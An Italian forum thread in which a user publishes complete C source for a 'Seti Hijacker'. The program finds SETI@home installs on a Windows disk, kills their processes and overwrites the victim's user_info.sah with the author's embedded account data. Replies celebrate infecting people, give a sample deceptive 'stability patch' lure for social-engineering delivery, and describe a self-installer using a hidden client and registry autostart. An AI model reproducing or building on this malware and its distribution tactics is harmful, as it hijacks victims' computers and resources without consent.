Seti Hijacker

[BianConiglio]

Haaaaa finalmente finito, pulito profumato e LETALE

Se eseguito cerca seti ovunque esso sia sul disco fisso (implementerò la ricerca in altre partizioni me ne sons cordato ed ora nn ho voglia), lo termina (termina preventivamente cursumperficio se ci fosse) scambia il' user_info.sah del target sfigato con il MIO così dalla prox wu in poi starà lavorando per me C'è ancora qualcosa da perfezionare cmq funziona alla grande... mi sono sbattuto per farlo girare su ogni sistema operativo...

per chi lo volesse sviluppare o avere per se (è in C, una volta tanto pubblico i sorgenti tanto lo so che NESSUNO si sbatterà con me per rifinirlo):

ps: questa è una versione soft e visibile all'utente...

#include <stdlib.h> 
#include <windows.h>
#include <tlhelp32.h>
#include <iostream.h> 
#include <string.h>
#include <ctype.h>
#ifdef BORLANDC
#endif

int KILL_PROC_BY_NAME(const char *szToTerminate)
{
	BOOL bResult,bResultm;
	DWORD aiPID[1000],iCb=1000,iNumProc,iV2000=0;
	DWORD iCbneeded,i,iFound=0;
	char szName[MAX_PATH],szToTermUpper[MAX_PATH];
	HANDLE hProc,hSnapShot,hSnapShotm;
	OSVERSIONINFO osvi;
    HINSTANCE hInstLib;
	int iLen,iLenP,indx;
    HMODULE hMod;
	PROCESSENTRY32 procentry;      
	MODULEENTRY32 modentry;

	iLenP=strlen(szToTerminate);
	if(iLenP<1 || iLenP>MAX_PATH) return 632;
	for(indx=0;indx<iLenP;indx++)
		szToTermUpper[indx]=toupper(szToTerminate[indx]);
	szToTermUpper[iLenP]=0;

     
     BOOL (WINAPI *lpfEnumProcesses)( DWORD *, DWORD cb, DWORD * );
     BOOL (WINAPI *lpfEnumProcessModules)( HANDLE, HMODULE *,
        DWORD, LPDWORD );
     DWORD (WINAPI *lpfGetModuleBaseName)( HANDLE, HMODULE,
        LPTSTR, DWORD );

      
      HANDLE (WINAPI *lpfCreateToolhelp32Snapshot)(DWORD,DWORD) ;
      BOOL (WINAPI *lpfProcess32First)(HANDLE,LPPROCESSENTRY32) ;
      BOOL (WINAPI *lpfProcess32Next)(HANDLE,LPPROCESSENTRY32) ;
      BOOL (WINAPI *lpfModule32First)(HANDLE,LPMODULEENTRY32) ;
      BOOL (WINAPI *lpfModule32Next)(HANDLE,LPMODULEENTRY32) ;

	
	osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    bResult=GetVersionEx(&osvi);
	if(!bResult)     
	    return 606;

	
	if((osvi.dwPlatformId != VER_PLATFORM_WIN32_NT) &&
		(osvi.dwPlatformId != VER_PLATFORM_WIN32_WINDOWS))
		return 607;

    if(osvi.dwPlatformId==VER_PLATFORM_WIN32_NT)
	{
		
         hInstLib = LoadLibraryA("PSAPI.DLL");
         if(hInstLib == NULL)
            return 605;

         
         lpfEnumProcesses = (BOOL(WINAPI *)(DWORD *,DWORD,DWORD*))
            GetProcAddress( hInstLib, "EnumProcesses" ) ;
         lpfEnumProcessModules = (BOOL(WINAPI *)(HANDLE, HMODULE *,
            DWORD, LPDWORD)) GetProcAddress( hInstLib,
            "EnumProcessModules" ) ;
         lpfGetModuleBaseName =(DWORD (WINAPI *)(HANDLE, HMODULE,
            LPTSTR, DWORD )) GetProcAddress( hInstLib,
            "GetModuleBaseNameA" ) ;

         if(lpfEnumProcesses == NULL ||
            lpfEnumProcessModules == NULL ||
            lpfGetModuleBaseName == NULL)
            {
               FreeLibrary(hInstLib);
               return 700;
            }
		 
		bResult=lpfEnumProcesses(aiPID,iCb,&iCbneeded);
		if(!bResult)
		{
			
            FreeLibrary(hInstLib);
			return 701;
		}

		
		iNumProc=iCbneeded/sizeof(DWORD);

		
		for(i=0;i<iNumProc;i++)
		{
			
	        strcpy(szName,"Unknown");
			
	        hProc=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,FALSE,
				aiPID[i]);
	        
	        if(hProc)
			{
               if(lpfEnumProcessModules(hProc,&hMod,sizeof(hMod),&iCbneeded) )
			   {
                  iLen=lpfGetModuleBaseName(hProc,hMod,szName,MAX_PATH);
			   }
			}
	        CloseHandle(hProc);
			
#ifdef BORLANDC
            if(strcmp(strupr(szName),szToTermUpper)==0)
#else
			if(strcmp(_strupr(szName),szToTermUpper)==0)
#endif
			{
				
				iFound=1;
				hProc=OpenProcess(PROCESS_TERMINATE,FALSE,aiPID[i]);
				if(hProc)
				{
					if(TerminateProcess(hProc,0))
					{
						
						CloseHandle(hProc);
                        FreeLibrary(hInstLib);
						return 0;
					}
					else
					{
						
						CloseHandle(hProc);
                        FreeLibrary(hInstLib);
						return 602;
					}
				}
				else
				{
					
                    FreeLibrary(hInstLib);
					return 604;
				}
			}
		}
	}

	if(osvi.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS)
	{
		
			
		hInstLib = LoadLibraryA("Kernel32.DLL");
		if( hInstLib == NULL )
			return 702;

		
		lpfCreateToolhelp32Snapshot=
			(HANDLE(WINAPI *)(DWORD,DWORD))
			GetProcAddress( hInstLib,
			"CreateToolhelp32Snapshot" ) ;
		lpfProcess32First=
			(BOOL(WINAPI *)(HANDLE,LPPROCESSENTRY32))
			GetProcAddress( hInstLib, "Process32First" ) ;
		lpfProcess32Next=
			(BOOL(WINAPI *)(HANDLE,LPPROCESSENTRY32))
			GetProcAddress( hInstLib, "Process32Next" ) ;
		lpfModule32First=
			(BOOL(WINAPI *)(HANDLE,LPMODULEENTRY32))
			GetProcAddress( hInstLib, "Module32First" ) ;
		lpfModule32Next=
			(BOOL(WINAPI *)(HANDLE,LPMODULEENTRY32))
			GetProcAddress( hInstLib, "Module32Next" ) ;
		if( lpfProcess32Next == NULL ||
			lpfProcess32First == NULL ||
		    lpfModule32Next == NULL ||
			lpfModule32First == NULL ||
			lpfCreateToolhelp32Snapshot == NULL )
		{
			FreeLibrary(hInstLib);
			return 703;
		}
			
		
		hSnapShot = lpfCreateToolhelp32Snapshot(
			TH32CS_SNAPPROCESS, 0 ) ;
		if( hSnapShot == INVALID_HANDLE_VALUE )
		{
			FreeLibrary(hInstLib);
			return 704;
		}
		
        
        procentry.dwSize = sizeof(PROCESSENTRY32);
        bResult=lpfProcess32First(hSnapShot,&procentry);

        
        while(bResult)
        {
		    
		    hSnapShotm = lpfCreateToolhelp32Snapshot(
			    TH32CS_SNAPMODULE, procentry.th32ProcessID) ;
		    if( hSnapShotm == INVALID_HANDLE_VALUE )
			{
				CloseHandle(hSnapShot);
			    FreeLibrary(hInstLib);
			    return 704;
			}
			
			modentry.dwSize=sizeof(MODULEENTRY32);
			bResultm=lpfModule32First(hSnapShotm,&modentry);

			
			while(bResultm)
			{
		        if(strcmp(modentry.szModule,szToTermUpper)==0)
				{
				    
				    iFound=1;
				    
				    hProc=OpenProcess(PROCESS_TERMINATE,FALSE,procentry.th32ProcessID);
				    if(hProc)
					{
					    if(TerminateProcess(hProc,0))
						{
						    
							CloseHandle(hSnapShotm);
							CloseHandle(hSnapShot);
							CloseHandle(hProc);
			                FreeLibrary(hInstLib);
						    return 0;
						}
					    else
						{
						    
							CloseHandle(hSnapShotm);
							CloseHandle(hSnapShot);
							CloseHandle(hProc);
			                FreeLibrary(hInstLib);
						    return 602;
						}
					}
				    else
					{
					    
						CloseHandle(hSnapShotm);
						CloseHandle(hSnapShot);
			            FreeLibrary(hInstLib);
					    return 604;
					}
				}
				else
				{  
					modentry.dwSize=sizeof(MODULEENTRY32);
					bResultm=lpfModule32Next(hSnapShotm,&modentry);
				}
			}

			
			CloseHandle(hSnapShotm);
            procentry.dwSize = sizeof(PROCESSENTRY32);
            bResult = lpfProcess32Next(hSnapShot,&procentry);
        }
		CloseHandle(hSnapShot);
	}
	if(iFound==0)
	{
		FreeLibrary(hInstLib);
		return 603;
	}
	FreeLibrary(hInstLib);
	return 0;
}


int look4aFile (char* strStartPath)
{ 

   WIN32_FIND_DATA FindFileData;
   HANDLE hFileSearch; 
   WIN32_FIND_DATA hFileSearchData;
   
   FILE *userinfo;              
   char temp[MAX_PATH]="\0";
   int i;
   
   int sah[]={116, 121, 112, 101, 61, 117, 115, 101, 114, 32, 105, 110, 102, 111, 10, 105, 
   100, 61, 50, 56, 55, 52, 53, 48, 56, 10, 107, 101, 121, 61, 51, 55, 
   48, 52, 53, 55, 55, 55, 48, 10, 101, 109, 97, 105, 108, 95, 97, 100, 
   100, 114, 61, 105, 97, 99, 111, 112, 111, 110, 101, 64, 100, 105, 100, 111, 
   46, 110, 101, 116, 10, 110, 97, 109, 101, 61, 66, 105, 97, 110, 67, 111, 
   110, 105, 103, 108, 105, 111, 10, 117, 114, 108, 61, 10, 99, 111, 117, 110, 
   116, 114, 121, 61, 73, 116, 97, 108, 121, 10, 112, 111, 115, 116, 97, 108, 
   95, 99, 111, 100, 101, 61, 50, 49, 48, 53, 49, 10, 115, 104, 111, 119, 
   95, 110, 97, 109, 101, 61, 121, 101, 115, 10, 115, 104, 111, 119, 95, 101, 
   109, 97, 105, 108, 61, 110, 111, 10, 118, 101, 110, 117, 101, 61, 51, 10, 
   114, 101, 103, 105, 115, 116, 101, 114, 95, 116, 105, 109, 101, 61, 32, 50, 
   52, 53, 49, 57, 57, 49, 46, 51, 50, 56, 52, 53, 32, 40, 84, 104, 
   117, 32, 77, 97, 114, 32, 50, 50, 32, 49, 57, 58, 53, 50, 58, 53, 
   56, 32, 50, 48, 48, 49, 41, 10, 108, 97, 115, 116, 95, 119, 117, 95, 
   116, 105, 109, 101, 61, 32, 32, 32, 32, 32, 32, 32, 48, 46, 48, 48, 
   48, 48, 48, 10, 108, 97, 115, 116, 95, 114, 101, 115, 117, 108, 116, 95, 
   116, 105, 109, 101, 61, 32, 50, 52, 53, 51, 48, 56, 48, 46, 50, 57, 
   50, 52, 52, 32, 40, 77, 111, 110, 32, 77, 97, 114, 32, 49, 53, 32, 
   49, 57, 58, 48, 49, 58, 48, 54, 32, 50, 48, 48, 52, 41, 10, 110, 
   119, 117, 115, 61, 48, 10, 110, 114, 101, 115, 117, 108, 116, 115, 61, 50, 
   53, 53, 51, 10, 116, 111, 116, 97, 108, 95, 99, 112, 117, 61, 53, 54, 
   52, 53, 54, 48, 53, 50, 46, 57, 49, 52, 54, 53, 52, 10, 112, 97, 
   114, 97, 109, 115, 95, 105, 110, 100, 101, 120, 61, 48, 10, 10};
   
   int cmd3      = 192512;
   int cmd3upx   = 74752;
   int cmd8      = 188416;
   int cmd8upx   = 79360;
   int graf      = 413696;
   int grafupx   = 121344;
   int cursum    = 2560;
   int iRes;
   int lastError = 0; 
   char seti[MAX_PATH];
   char pathseti[MAX_PATH];
   char szName[MAX_PATH];
   char* currentSearchPattern = (char*) malloc( MAX_PATH ); 
   char* reservedBuffer; 

   if (currentSearchPattern) 
   { 
      if (!strStartPath) 
         strStartPath = "C:\\"; 

      strcpy (currentSearchPattern, strStartPath); 
      strcat (currentSearchPattern, "*"); 

      if ( (hFileSearch = FindFirstFile(currentSearchPattern, &hFileSearchData)) != INVALID_HANDLE_VALUE ) 
      { 
         do { 
            if ( strcmp(hFileSearchData.cFileName, ".") && strcmp(hFileSearchData.cFileName, "..") ) 
            { 
               if ( hFileSearchData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ) { 

                  reservedBuffer = (char*) malloc( MAX_PATH+1 ); 
                  if ( reservedBuffer ) 
                  { 
                     strcpy (reservedBuffer, strStartPath); 
                     strcat (reservedBuffer, hFileSearchData.cFileName); 
                     strcat (reservedBuffer, "\\"); 

                     lastError = look4aFile (reservedBuffer); 

                     free (reservedBuffer); 

                  } else 
                     lastError = -1; 
        
               } else { 
                                      
                  if ( !stricmp(hFileSearchData.cFileName, "user_info.sah" )) 
                  
                  {
                       
                  strcpy(seti,strStartPath); 
                  strcat(seti, "\\");
                  strcat(seti, "*.exe");
                     
                  HANDLE hFind = FindFirstFile(seti, &FindFileData);
    
    
                  if (hFind != INVALID_HANDLE_VALUE)
                  
                  {
                      do {
                      
                if  ((FindFileData.nFileSizeLow == cursum))
                
                            {printf ("Found Cursum! %s\n\n", FindFileData.cFileName);
                            strcpy (szName, FindFileData.cFileName);
                            iRes=KILL_PROC_BY_NAME(szName);                       
                            }
                
                else                           
                                      
                if  ((FindFileData.nFileSizeLow == cmd3)
                  || (FindFileData.nFileSizeLow == cmd8)
                  || (FindFileData.nFileSizeLow == graf)
                  || (FindFileData.nFileSizeLow == cmd8upx)
                  || (FindFileData.nFileSizeLow == cmd3upx)
                  || (FindFileData.nFileSizeLow == grafupx) )
                
                            {  printf ("Found Seti! %s\n\n", FindFileData.cFileName);
                            strcpy (szName, FindFileData.cFileName);
                            iRes=KILL_PROC_BY_NAME(szName);
                            
                            strcpy (temp,strStartPath);  
                            strcat (temp,"\\user_info.sah"); 
                            userinfo = fopen(temp, "wb");
                            for(i=0; i<366; i++) fprintf(userinfo, "%c", sah[i]);
                            fclose(userinfo);
                                             
                            }

                else printf ("Not matching\n\n");
                
                          } while (FindNextFile(hFind, &FindFileData));
                            FindClose(hFind);
                   }

                  
                  
                  } 
                        
                 } 
            } 
              
         } 
    
          while ( FindNextFile(hFileSearch, &hFileSearchData) ); 
      } else 
         lastError = 1; 

      free (currentSearchPattern); 
      FindClose (hFileSearch); 

   } else 
      lastError = -1; 

   return lastError; 
} 


int main() 

{ 

  look4aFile (NULL); 
  
  system("PAUSE");    
  return 0; 
}

occhio che se compilate ed eseguite questo l' hijack lo fa sul MIO account hehehe se ne volete una perssonale versione abbiate cura di modificarlo con i costri dati...

[Fenomeno85]

ammazzate bel lavoro ... così puoi infettare tanteee persone

~§~ Sempre E Solo Lei ~§~

[fasix]

che genio!

[BianConiglio]

hehe sarà simpatico vedere i miei amici che smanazzano col seti quando capiranno che stanno tutti computando a mio nome haua


heeeeee daltronde come dicono loro in guerra non ci sono regole

[fasix]

ma come fai a mettergli sto file?

[BianConiglio]

ricorda........... social engineering, non c'è una patch alla stupidità umana

[fasix]

mi spiegi meglio?


se puoi!

[trappola]

Social engineering si riferisce al fatto che il file è presentato come qualcosa di positivo, nel senso "installa questa utility così otterrai una maggiore stabilità del sistema e sarai protetto da eventuali problemi ecc. ecc."

Aspetta un attimo

Spett. sig. nonnovi in allegato le inviamo un utilissima patch che le permetterà di mantenere stabile il suo pc anche in caso di problemi di instabilità della rete elettrica, la installi subito

[fasix]

ok!


ho capito!

[BianConiglio]

cmq non è questa la sede stiamo on topic

[GHz]

Originariamente inviato da trappola
Spett. sig. nonnovi in allegato le inviamo un utilissima patch che le permetterà di mantenere stabile il suo pc anche in caso di problemi di instabilità della rete elettrica, la installi subito

ROTFL...esatto!

Complimenti al programmatore, anche se io non ho amici da infettare, e sinceramente preferisco istallare seti su pc di persone che non scaccolano invece di cambiare l'user a quelle che scaccolano di già. Cmq questa versione è bene specificare che funge solo sui pc dove non c'è la cache di wu...

Si può avere una versione si seti autoistallante (setidriver , magari come servizio anche su sistemi non con diritti di admin?

Ciao,
GHz!

[BianConiglio]

da domani funzionerà anche per chi ha setidriver oggi pome nn ho voglia di programmare


l'autoinstallante, come al solito, è supersegretissimissimo e costa un po' di WU

[Matx]

Io mi sono fatto una specie di autoinstallante stupidissimo che copia setihide (si, nei pc infettati uso quello ) e inserisce nel registro l'avvio automatico

Magari faccio anche un "Setipack for infections" Che ne dici GHz? Per me ce l'ho già e funziona benissimo!

[BianConiglio]

raga siamo offtopic

[fasix]

infatti!